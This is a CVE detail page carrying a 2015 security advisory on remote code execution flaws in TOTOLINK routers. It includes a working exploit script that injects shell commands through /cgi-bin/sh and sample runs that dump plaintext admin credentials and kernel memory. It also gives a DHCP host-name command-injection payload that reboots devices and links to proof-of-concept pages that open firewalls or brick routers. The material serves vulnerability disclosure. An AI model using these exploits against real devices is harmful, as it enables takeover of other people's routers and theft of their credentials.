CVE-2011-0997 : Detail

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The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

## Advisory Information Title: 15 TOTOLINK router models vulnerable to multiple RCEs Advisory URL: https://pierrekim.github.io/advisories/2015-totolink-0x00.txt Blog URL: https://pierrekim.github.io/blog/2015-07-16-15-TOTOLINK-products-vulnerable-to-multiple-RCEs.html Date published: 2015-07-16 Vendors contacted: None Release mode: 0days, Released CVE: no current CVE ## Product Description TOTOLINK is a brother brand of ipTime which wins over 80% of SOHO markets in South Korea. TOTOLINK produces routers routers, wifi access points and network devices. Their products are sold worldwide. ## Vulnerabilities Summary The first vulnerability allows to bypass the admin authentication and to get a direct RCE from the LAN side with a single HTTP request. The second vulnerability allows to bypass the admin authentication and to get a direct RCE from the LAN side with a single DHCP request. There are direct RCEs against the routers which give a complete root access to the embedded Linux from the LAN side. The two RCEs affect 13 TOTOLINK products from 2009-era firmwares to the latest firmwares with the default configuration: - TOTOLINK A1004 : until last firmware (9.34 - za1004_en_9_34.bin) - TOTOLINK A5004NS : until last firmware (9.38 - za5004s_en_9_38.bin) - TOTOLINK EX300 : until last firmware (8.68 - TOTOLINK EX300_8_68.bin - totolink.net) - TOTOLINK EX300 : until last firmware (9.36 - ex300_ch_9_36.bin.5357c0 - totolink.cn) - TOTOLINK N150RB : until last firmware (9.08 - zn150rb_en_9_08.bin.5357c0) - TOTOLINK N300RB : until last firmware (9.26 - zn300rb_en_9_26.bin) - TOTOLINK N300RG : until last firmware (8.70 - TOTOLINK N300RG_8_70.bin) - TOTOLINK N500RDG : until last firmware (8.42 - TOTOLINK N500RDG_en_8_42.bin) - TOTOLINK N600RD : until last firmware (8.64 - TOTOLINK N600RD_en_8_64.bin) - TOTOLINK N302R Plus V1 : until the last firmware 8.82 (TOTOLINK N302R Plus V1_en_8_82.bin) - TOTOLINK N302R Plus V2 : until the last firmware 9.08 (TOTOLINK N302R Plus V2_en_9_08.bin) - TOTOLINK A3004NS (no firmware available in totolinkusa.com but ipTIME's A3004NS model was vulnerable to the 2 RCEs) - TOTOLINK EX150 : until the last firmware (8.82 - ex150_ch_8_82.bin.5357c0) The DHCP RCE also affects 2 TOTOLINK products from 2009-era firmwares to the latest firmwares with the default configuration: - TOTOLINK A2004NS : until last firmware (9.60 - za2004s_en_9_60.bin) - TOTOLINK EX750 : until last firmware (9.60 - ex750_en_9_60.bin) Firmwares come from totolink.net and from totolink.cn. - - From my tests, it is possible to use these vulnerabilities to overwrite the firmware with a custom (backdoored) firmware. Concerning the high CVSS score (10/10) of the vulnerabilities and the longevity of this vulnerability (6+ year old), the TOTOLINK users are urged to contact TOTOLINK. ## Details - RCE with a single HTTP request The HTTP server allows the attacker to execute some CGI files. Many of them are vulnerable to a command inclusion which allows to execute commands with the http daemon user rights (root). Exploit code: $ cat totolink.carnage #!/bin/sh if [ ! $1 ]; then echo "Usage:" echo $0 ip command exit 1 fi wget -qO- --post-data="echo 'Content-type: text/plain';echo;echo;PATH=$PATH:/sbin $2 $3 $4" http://$1/cgi-bin/sh The exploits have been written in HTML/JavaScript, in form of CSRF attacks, allowing people to test their systems in live using their browsers: http://pierrekim.github.io/advisories/ o Listing of the filesystem HTML/JS exploits: http://pierrekim.github.io/advisories/2015-totolink-0x00-PoC-listing.of.the.filesystem.html Using CLI: root@kali:~/totolink# ./totolink.carnage 192.168.1.1 ls | head ash auth busybox cat chmod cp d.cgi date echo false root@kali:~/totolink# o How to retrieve the credentials ? (see login and password at the end of the text file) HTML/JS exploits: http://pierrekim.github.io/advisories/2015-totolink-0x00-PoC-dump.configuration.including.credentials.html Using CLI: kali# ./totolink.carnage 192.168.1.1 cat /tmp/etc/iconfig.cfg wantype.wan1=dynamic dhblock.eth1=0 ppp_mtu=1454 fakedns=0 upnp=1 ppp_mtu=1454 timeserver=time.windows.com,gmt22,1,480,0 wan_ifname=eth1 auto_dns=1 dhcp_auto_detect=0 wireless_ifmode+wlan0=wlan0,0 dhcpd=0 lan_ip=192.168.1.1 lan_netmask=255.255.255.0 dhcpd_conf=br0,192.168.1.2,192.168.1.253,192.168.1.1,255.255.255.0 dhcpd_dns=164.124.101.2,168.126.63.2 dhcpd_opt=7200,30,200, dhcpd_configfile=/etc/udhcpd.conf dhcpd_lease_file=/etc/udhcpd.leases dhcpd_static_lease_file=/etc/udhcpd.static use_local_gateway=1 login=admin password=admin Login and password are stored in plaintext, which is a very bad security practice. o Current running process: HTML/JS exploits: http://pierrekim.github.io/advisories/2015-totolink-0x00-PoC-current.process.html Using CLI: kali# ./totolink.carnage 192.168.1.1 ps -auxww o Getting the kernel memory: HTML/JS exploits: http://pierrekim.github.io/advisories/2015-totolink-0x00-PoC-getting.kernel.memory.html Using CLI: kali# ./totolink.carnage 192.168.1.1 cat /proc/kcore o Default firewall rules: HTML/JS exploits: http://pierrekim.github.io/advisories/2015-totolink-0x00-PoC-default.firewall.rules.html Using CLI: kali# ./iptime.carnage.l2.v9.52 192.168.1.1 iptables -nL o Opening the management interface on the WAN: HTML/JS exploits: http://pierrekim.github.io/advisories/2015-totolink-0x00-PoC-opening.the.firewall.html o Reboot the device: HTML/JS exploits: http://pierrekim.github.io/advisories/2015-totolink-0x00-PoC-reboot.html o Brick the device: HTML/JS exploits: http://pierrekim.github.io/advisories/2015-totolink-0x00-PoC-bricking.the.device.html An attacker can use the /usr/bin/wget binary located in the file system of the remote device to plant a backdoor and then execute it as root. By the way, d.cgi in /bin/ is an intentional backdoor. ## Details - RCE with a single DHCP request This vulnerability is the exact inverse of CVE-2011-0997. The DHCPD server in TOTOLINK devices allows remote attackers to execute arbitrary commands via shell metacharacters in the host-name field. Sending a DHCP request with this parameter will reboot the device: cat /etc/dhcp/dhclient.conf send host-name ";/sbin/reboot"; When connecting to the UART port (`screen /dev/ttyUSB0 38400`), we will see the stdout of the /dev/console device; the dhcp request will immediately force the reboot of the remote device: Booting... @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @ @ chip__no chip__id mfr___id dev___id cap___id size_sft dev_size chipSize @ 0000000h 0c84015h 00000c8h 0000040h 0000015h 0000000h 0000015h 0200000h @ blk_size blk__cnt sec_size sec__cnt pageSize page_cnt chip_clk chipName @ 0010000h 0000020h 0001000h 0000200h 0000100h 0000010h 000004eh GD25Q16 @ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ [...] WiFi Simple Config v1.12 (2009.07.31-11:35+0000). Launch iwcontrol: wlan0 Reaped 317 iwcontrol RUN OK SIGNAL -> Config Update signal progress killall: pppoe-relay: no process killed SIGNAL -> WAN ip changed WAN0 IP: 192.168.2.1 signalling START Invalid upnpd exit killall: upnpd: no process killed upnpd Restart 1 iptables: Bad rule (does a matching rule exist in that chain?) Session Garbage Collecting:Maybe system time is updated.( 946684825 0 ) Update Session timestamp and try it after 5 seconds again. ez_ipupdate callback --> time_elapsed: 0 Run DDNS by IP change: / 192.168.2.1 Reaped 352 iptables: Bad rule (does a matching rule exist in that chain?) Jan 1 00:00:25 miniupnpd[370]: Reloading rules from lease file Jan 1 00:00:25 miniupnpd[370]: could not open lease file: /var/run/upnp_pmlist Jan 1 00:00:25 miniupnpd[370]: HTTP listening on port 2048 Reaped 363 Led Silent Callback Turn ON All LED Dynamic Channel Search for wlan0 is OFF start_signal => plantynet_sync Do start_signal => plantynet_sync SIGNAL -> Config Update signal progress killall: pppoe-relay: no process killed SIGNAL -> WAN ip changed Reaped 354 iptables: Bad rule (does a matching rule exist in that chain?) ez_ipupdate callback --> time_elapsed: 1 Run DDNS by IP change: / 192.168.2.1 Burst DDNS Registration is denied: iptime -> now:26 Led Silent Callback Turn ON All LED /proc/sys/net/ipv4/tcp_syn_retries: cannot create - - - ---> Plantynet Event : 00000003 - - - ---> PLANTYNET_SYNC_INTERNET_BLOCK_DEVICE [sending the DHCP request] [01/Jan/2000:00:01:03 +0000] [01/Jan/2000:00:01:03 +0000] Jan 1 00:01:03 miniupnpd[370]: received signal 15, good-bye Reaped 392 Reaped 318 Reaped 314 Reaped 290 Reaped 288 Reaped 268 Reaped 370 Reaped 367 - - - ---> PLANTYNET_SYNC_FREE_DEVICE Restarting system. Booting... @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @ @ chip__no chip__id mfr___id dev___id cap___id size_sft dev_size chipSize @ 0000000h 0c84015h 00000c8h 0000040h 0000015h 0000000h 0000015h 0200000h @ blk_size blk__cnt sec_size sec__cnt pageSize page_cnt chip_clk chipName @ 0010000h 0000020h 0001000h 0000200h 0000100h 0000010h 000004eh GD25Q16 @ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ Reboot Result from Watchdog Timeout! - - - ---RealTek(RTL8196E)at 2012.07.06-04:36+0900 v0.4 [16bit](400MHz) Delay 1 second till reset button Magic Number: raw_nv 00000000 Check Firmware(05020000) : size: 0x001ddfc8 ----> [...] An attacker can use the /usr/bin/wget binary located in the file system of the remote device to plant a backdoor and then execute it as root. ## Vendor Response Due to "un-ethical code" found in TOTOLINK products (= backdoors found in new TOTOLINK devices), TOTOLINK was not contacted in regard of this case, but ipTIME was contacted in April 2015 concerning the first RCE. ## Report Timeline * Jun 01, 2014: First RCE found by Pierre Kim and Alexandre Torres in ipTIME products. * Jun 02, 2014: Second RCE found by Pierre Kim in ipTIME products. * Jun 25, 2015: Similar vulnerabilities found in TOTOLINK products. * Jul 13, 2015: TOTOLINK silently fixed the HTTP RCE in A2004NS and EX750 routers. * Jul 13, 2015: Updated firmwares confirmed vulnerable. * Jul 16, 2015: A public advisory is sent to security mailing lists. ## Credit These vulnerabilities were found by Alexandre Torres and Pierre Kim (@PierreKimSec). ## References https://pierrekim.github.io/advisories/2015-totolink-0x00.txt https://pierrekim.github.io/blog/2015-07-16-15-TOTOLINK-products-vulnerable-to-multiple-RCEs.html ## Disclaimer This advisory is licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 License: http://creativecommons.org/licenses/by-nc-sa/3.0/